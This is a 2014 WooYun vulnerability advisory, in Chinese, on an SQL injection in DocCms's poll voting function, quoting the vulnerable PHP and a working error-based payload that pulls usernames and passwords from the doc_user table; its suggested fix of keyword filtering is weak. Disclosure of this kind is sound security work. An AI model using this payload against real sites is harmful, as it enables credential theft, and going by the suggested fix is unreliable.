当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-080762

漏洞标题:DocCms最新版UPDATE注入一枚

相关厂商:DocCms

漏洞作者: 路人甲

提交时间:2014-10-28 10:41

修复时间:2015-01-26 10:42

公开时间:2015-01-26 10:42

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:10

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-10-28: 积极联系厂商并且等待厂商认领中,细节不对外公开
2015-01-26: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

DocCms最新版UPDATE注入一枚

详细说明:

这次这个漏洞不是因为编码问题造成的了,而是过滤不够完善。
Doccms中首先对输入进行了全局过滤
Doccms在/loader/doc.php对输入的内容进行了全局的过滤,如下

$_REQUEST = cleanArrayForMysql($_REQUEST);
$_GET = cleanArrayForMysql($_GET);
$_POST = cleanArrayForMysql($_POST);
$request = $_REQUEST;


跟进cleanArrayForMysql看一下,/inc/function.php

function cleanArrayForMysql($data)
{
if(!get_magic_quotes_gpc())
return (is_array($data))?array_map('cleanArrayForMysql', $data):mysql_real_escape_string($data);
else
return $data;
}

可以看到对用户的输入调用了mysql_real_escape_string()进行过滤,这个函数把sql的几个特殊字符过滤掉了,特别是’。先来看看对’是如何处理的,如下图:

单引号被转义副本.jpg

可以看到DocCms把'转换成了/'。那如果想注入的话,不用’就可以了。
比如本次注入的地方,在 在线留言-->社会调查-->投票,这里会调用/content/poll/index.php中的send()方法,看看这个方法都做了些什么。

function send()
{
global $db;
global $request;
global $params;
global $tag; // 标签数组
if(!empty($request['choice']))
{
$sql="SELECT * FROM ".TB_PREFIX."poll_category WHERE id=".$params['args'];
$poll_client=$db->get_row($sql);
$cur_ip=getip();
if(empty($poll_client->client_ip))
{
$insert_ip=$cur_ip;
}
else
{
$checkIP=explode(';',$poll_client->client_ip);
if(in_array($cur_ip,$checkIP))
{
echo "<script language='javascript'>alert('您已经投过票了!');window.history.go(-1);</script>";
exit;
}
array_push($checkIP,$cur_ip);
$insert_ip=implode(';',$checkIP);
}
if ($poll_client->choice=='a')
{
$db->query("UPDATE ".TB_PREFIX."poll SET num=num+1 WHERE id=".$request['choice']);

$db->query("UPDATE ".TB_PREFIX."poll_category SET client_ip='".$insert_ip."' WHERE id=".$params['args']);

echo '<script>alert("投票成功!");window.location.href="'.sys_href($params['id'],'poll',$params['args']).'";</script>';
}
elseif ($poll_client->choice=='b')
{
for ($i=0;$i<count($request['choice']);$i++)
{
$db->query("UPDATE ".TB_PREFIX."poll SET num=num+1 WHERE id=".$request['choice'][$i]);
}
$db->query("UPDATE ".TB_PREFIX."poll_category SET client_ip='".$insert_ip."' WHERE id=".$params['args']);

echo '<script>alert("投票成功!");window.location.href="'.sys_href($params['id'],'poll',$params['args']).'";</script>';
}
}
else if(empty($request['choice']))
{
echo "<script language='javascript'>alert('您没有添加选项!');window.history.go(-1);</script>";
exit;
}
}


可以看到对$request['choice']并没有再次过滤就带入了sql执行,因此,只要构造不含有’的注入语句就可以了。
这个地方$request['choice']作为id执行update,而id是数字型的,不存在闭合’的问题,因此构造不含’的注入语句就比较容易了。投票这里存在error-based blind注入,exp如下:

and  (select 1 from (select count(*),concat(0x23,(select concat(username,0x23,pwd)from doc_user limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)


结果副本.jpg


从上面send()方法中可以看到,对投票者的ip进行了限制,第个ip只能投一票,相信你有N+1种方法可以避开这个限制~

漏洞证明:

见 详细说明

修复方案:

过滤,只对'过滤往往还会造成注入,可以增加对sql关键词的过滤

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝